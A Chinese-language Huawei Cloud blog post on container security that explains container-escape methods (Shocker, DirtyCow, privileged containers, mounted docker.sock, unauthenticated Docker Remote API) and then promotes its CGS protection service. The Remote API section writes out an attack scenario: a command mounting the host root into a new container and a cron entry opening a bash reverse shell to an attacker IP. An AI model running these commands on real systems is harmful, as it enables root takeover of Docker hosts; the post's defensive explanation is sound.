摘要:云原生2.0时代,任何企业都可以成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器安全有所了解。

随着云原生技术的成熟和市场需求的升级,云计算的发展已步入新的阶段,云原生2.0时代已经到来。从技术角度看,以容器、微服务以及动态编排为代表的云原生技术蓬勃发展,成为赋能业务创新的重要推动力,并已经应用到企业核心业务。从市场角度看,云原生技术已在金融、制造、互联网等多个行业得到广泛验证,支持的业务场景也愈加丰富,行业生态日渐繁荣。云原生2.0是企业智能升级的新阶段,企业云化从“ON Cloud”走向“IN Cloud”,新生能力与既有能力有机协同、立而不破,实现资源高效、应用敏捷、业务智能、安全可信,成为“新云原生企业”。

云原生2.0时代,任何企业都可以成为“新云原生企业”,作为云原生的代表技术之一的容器,每个企业都应该对容器安全有所了解。

传统的虚拟机能够基于虚拟化技术更加有效的利用硬件计算资源,可以实现云租户的隔离与资源共享。相比虚拟机来说,容器更轻、更快,但是作为一种新技术,容器的安全防护也与虚拟机所有不同。

容器 VS 虚拟机

容器与虚拟机具有相似的资源隔离和分配价值,但容器的作用不同,因为容器是虚拟化操作系统而不是硬件。容器更便携,更高效。

容器VS虚拟机

虚拟机(VM)是对物理硬件的抽象,将一台服务器转化为多台服务器。Hypervisor允许在一台机器上运行多个虚拟机。每个虚拟机都包含操作系统、应用程序、必要的二进制文件和库的完整副本,占用数十GB的空间。虚拟机启动速度也比较慢。

容器是应用程序层的一个抽象,将代码和依赖打包在一起。多个容器可以运行在同一台机器上,与其他容器共享操作系统内核,每个容器在用户空间中作为隔离的进程运行。容器比虚拟机占用更少的空间(容器镜像通常只有几十MB大小),可以处理更多的应用程序。

容器逃逸

容器逃逸,是容器技术启用以来一直被关注的问题,甚至被认为是容器的首要安全问题。所谓“逃逸”,指的是“流氓”容器/虚拟机尝试突破隔离环境的限制,访问宿主系统或者在同一个系统上的同驻容器或虚拟机。从而造成敏感信息泄露,或者系统及服务发生DOS的行为。

但正是由于容器与宿主系统共享内核,因此容器与宿主机有着更大的接触面,隔离层次更少,更容易从容器内实施逃逸攻击。因此,如何解决容器逃逸安全风险,避免容器逃逸攻击带来的损失是容器安全中最为重要的一个问题。

容器逃逸常用手段

(1)通过容器自身漏洞及内核漏洞逃逸

攻击的主要途径之一就是利用漏洞,通过程序设计或实现的缺陷来执行非法操作,容器逃逸也不例外。容器自身漏洞是其利用进行逃逸的路径之一,同时由于容器共享宿主系统内核,因此内核漏洞是其逃逸的另一路径,同时由于内核漏洞的数量远远大于容器自身漏洞,因此内核漏洞甚至成为容器逃逸更为主要的一个手段。

1)利用容器漏洞逃逸 – shocker攻击

Shocker攻击是容器逃逸最著名的案例,其本质是利用了一个不常用的系统调用open_by_handle_at,同时借助docker1.0前版本并未限制CAP_DAC_READ_SEARCH能力,并将容器启动时会挂载宿主机文件到容器内(如旧版本的/.dockerinit,新版本的/etc/hosts)作为起点,执行暴力破解攻击,最终获取到要访问的宿主系统文件的句柄信息并进行读取,从而实现逃逸。

Github地址:https://github.com/gabrtv/shocker

容器执行shocker攻击逃逸访问宿主系统/etc/shadow文件:

2)内核漏洞利用逃逸 – dirtycow攻击

DirtyCow(脏牛漏洞,CVE-2016-5195)是Linux内核中的一个权限提升漏洞,其也可被容器利用实施逃逸。容器利用dirtycow漏洞改写虚拟动态共享库VDSO(Virtual Dynamically Shared Objec),并将shellcode置入其中,当主机系统进程调用并执行修改后的内容时,就会借用此进程身份执行置入的shellcode,并最终在容器内获得一个来自主机的root权限的shell。

(2)不安全配置引发逃逸

1)不安全启动,如privileged特权容器

容器以--privileged参数启动时称为特权容器,特权容器顾名思义具有较高权限,包括对宿主机上的设备的访问权限。因此,攻击者可以直接在容器内mount主机设备并进行文件访问,从而轻而易举实现逃逸。

2)不安全挂载,如挂载docker.sock到容器

图片来源:https://medium.com/better-programming/about-var-run-docker-sock-3bfd276e12fd

Docker.sock文件是一个Unix domain socket文件,是Docker daemon默认监听的套接字文件,docker client通过它与docker daemon进行通信。docker client将信息查询和下发命令等请求通过docker.sock发给docker daemon,然后由deamon执行具体请求,包括镜像查询、容器创建等。

将docker.sock挂载到容器内,可以在容器内继续运行一个容器,实现docker in docker,并可在容器内容器启动时通过-v参数将宿主机根目录挂载到容器内,从而在容器内访问宿主机文件,实现逃逸。

3)Docker remote api未授权访问

默认情况下,docker daemon只允许通过unix domain socket – docker.sock进行本地通信操作,但除此之外,docker daemon也提供了Restful API供远端client访问(daemon通过-H参数指定监听端口),如果未对访问进行权限控制及合规性检查,则攻击者也可以访问这个API执行高危操作,并实施逃逸攻击。

例如一种攻击场景:

  • 通过Remote API创建一个容器,并将宿主系统根目录挂载到容器内:
# docker -H tcp://$IP:$PORT run -it -v /:/mnt ubuntu /bin/bash

其中:$IP表示docker daemon服务ip,$PORT表示Remote API监听端口

  • 将反弹shell命令写入计划任务文件
# echo '* * * * * /bin/bash -i >& /dev/tcp/$IP/$PORT 0>&1' >> /mnt/var/spool/cron/crontabs/root

其中:$IP表示攻击端IP,$PROT表示攻击端监听端口

  • 攻击端监听上一步中的$PORT端口,获取来自对端(docker服务所在系统)的具有root权限得反弹shell,并任意访问。

华为云容器安全服务CGS之逃逸安全防护方案

华为云容器安全服务CGS

华为云容器安全服务CGS构建了容器安全威胁纵深防御体系,提供包括镜像扫描、威胁检测与威胁防护的一整套容器安全能力,提供针对容器的Build、Ship、Run全生命周期保护能力,渗透到整个容器DevOps流程,保证容器虚拟环境从开发到生产整个流程的安全。其中,容器逃逸检测是CGS的核心功能之一,它通过如下手段构建系统化的容器逃逸全面防护能力:

(1)监控容器不安全配置启动

前文中提到,不安全配置是容器逃逸的一个重要原因。因此,监控容器的不安全启动也是容器逃逸防护的一个重要手段。CGS可以针对容器启动的各种不安全配置进行监控,包括启动特权容器、挂载宿主机文件、安全策略关闭、特权端口映射等,从容器创建伊始就检测逃逸风险,实现整体防护方案第一步。

(2)容器行为深度分析

容器启动后,CGS可对容器运行过程中的行为进行实时跟踪和观察,监控容器内的进程运行、文件访问、网络连接、系统调用等行为,并对行为进行深度分析,从行为过程体现出来的特征到行为所产生的结果进行全面分析检测,有效发现容器已知和未知漏洞利用逃逸攻击行为并进行告警。

(3)容器基线机器学习

一般而言,容器的行为通常固定且纯粹,比如一个提供web服务的容器内可能只会运行一个nginx进程,一个提供DB服务的容器内可能只会运行一个mysql进程,并且进程所执行的操作,包括文件访问、系统调用、网络连接等行为都有固定合理范围,因此可以对容器圈定正常行为范围,构建行为基线。CGS利用机器学习技术,从静态和动态两个维度分析容器正常行为并建立基线,使得基线模型更准确、更完整,然后根据基线跟踪容器行为,感知基线以外的异常行为,实现对攻击行为的全面感知,并有效提升对于容器利用0day漏洞进行逃逸攻击的检测能力。

华为云CGS容器逃逸方案防护机制内置在防护平台,无需用户参与即可实现容器逃逸系统化检测,具有良好的易用性,同时方案采用事件驱动机制实现性能高、反应快,为容器安全保驾护航。

点击关注,第一时间了解华为云新鲜技术~

云原生2.0时代:企业更应了解一下容器安全相关推荐

  1. 媒体声音|阿里云数据库:一站式全链路数据管理与服务,引领云原生2.0时代

    简介:引领云原生数据库技术持续创新 这几年,云原生已成为阿里云的另一个标签,不仅最早布局云原生技术,拥有大量客户实践,更打造出丰富的云原生产品家族.尤其是数据库产品线,已进入云原生2.0阶段,通过全链 ...

  2. 云原生2.0时代,华为云DevOps立体运维实践

    摘要:随着云原生2.0时代的来临,越来越多的企业及个人选择使用云原生技术来构建业务,云原生技术给业务构建.交付带了便利的同时,对运维也提出了更高的要求. 2020年12月,中国DevOps社区峰会在北 ...

  3. 阿里云数据库:一站式全链路数据管理与服务,引领云原生2.0时代

    这几年,云原生已成为阿里云的另一个标签,不仅最早布局云原生技术,拥有大量客户实践,更打造出丰富的云原生产品家族.尤其是数据库产品线,已进入云原生2.0阶段,通过全链路的技术支撑能力,奔向更远的星辰大海 ...

  4. 向云计算要技术红利,华为云定义云原生2.0时代

    进入2020年以来,以容器.Kubernetes和微服务为代表的云原生技术,开始颠覆业界对从2006年开始的云计算技术和产业的认知.在2019年的时候,业界还对云原生技术处于热议阶段,主流厂商纷纷推出 ...

  5. 云原生2.0时代下,DevOps实践如何才能更加高效敏捷?

    当前全球的数字化浪潮逐步加深,云计算成为当今信息化发展的重要基础设施,云原生(Cloud Native)在数字化浪潮中的角色逐步提升,成为近几年云计算领域炙手可热的话题. 首先我们来看看一张图,看看云 ...

  6. 云原生的本质_云原生2.0的逻辑之辩,如何让每个企业都成为新云原生企业

    云计算的滚滚浪潮始于2006年,AWS的成立让公有云成为了整个云行业的标杆,也形成了云原生的技术洪流,推动了企业上云和全行业数字化转型的开启. 作为云时代的技术基础,云原生能力自然功不可没,但对于云原 ...

  7. 华为云“创原会”:40+技术精英论道云原生2.0

    摘要:在这个全新时代,云原生技术如何与企业业务深度融合,如何发挥出更大的价值?看40+技术精英齐聚"创原会"论道云原生2.0. 当前云原生进入了技术与产业.生态大融合,规模化大发展 ...

  8. 华为这台「技术暴力输出机」,亮出「云原生2.0」,研发效率飙升10倍!

    金磊 发自 凹非寺 量子位 报道 | 公众号 QbitAI 云原生 (CloudNative),这个概念最近着实有点火,而且火得一塌糊涂. 简单来说,它就是一种构建和运行「应用程序」的方法. 从名字上 ...

  9. 解析云原生2.0架构设计的8大关键趋势

    摘要:在云原生2.0阶段,我们到底需要构建一个什么样的架构?华为云首席架构师为你一一解答. 本文分享自华为云社区<华为云首席架构师独家分享:云原生2.0架构设计的8大关键趋势>,作者:技术 ...

最新文章

  1. php数组保存txt,php将数组存储为文本文件方法汇总,_PHP教程
  2. BIEE建模参考规范
  3. Oracle data type number
  4. 5、this调用语句必须是构造函数中的第一个可执行语句_ES6中的Promise和Generator详解...
  5. goim 中的 data flow 数据流转及思考
  6. C语言输入密码为6位,C语言中如何实现输入密码?(在输入时显示为*号.)
  7. 离职10天,面了4家公司,我的感受...
  8. 对“最大子序列和问题”的一点思考
  9. AngularJs HelloWorld
  10. 医院耗材管理系统开发_12
  11. Win7+vmware+xpsp3+vs2010驱动开发环境搭建及调试方法
  12. Steam网页版/手机端显示“短期内来自您网络的失败登陆过多,请稍后再试”
  13. Navicat Premium远程连接ORACLE
  14. 蓝牙设备删除失败_这软件能让你的蓝牙耳机,用上AirPods的功能
  15. springboot+vue3+微信小程序记账本源码
  16. Python疫情数据采集, 并做可视化展示
  17. Oracle中国CEO胡伯林:管理就是沟通
  18. Word转出来的PDF为什么有空白页?
  19. Flask框架之 g是什么
  20. 8145v5 参数_SpringBoot外化配置源码解析:外化配置简介、参数处理|value|spring|调用|参数值

热门文章

  1. 提升开发效率的 Chrome 开发者工具快捷键参考
  2. Bootstrap CSS 编码规范之媒体查询的位置
  3. CSS 渐进增强与优雅降级
  4. 深度学习笔记(17) 误差分析(二)
  5. win 二进制门安装mysql_MySQL5.7 windows二进制安装
  6. Batch批量替换hosts
  7. [Tips] WSL ubuntu 18.04 安装python3
  8. 吴裕雄--天生自然 JAVASCRIPT开发学习: 表单验证
  9. C++中的4种类型转换方式
  10. CSS超过指定的宽度加省略号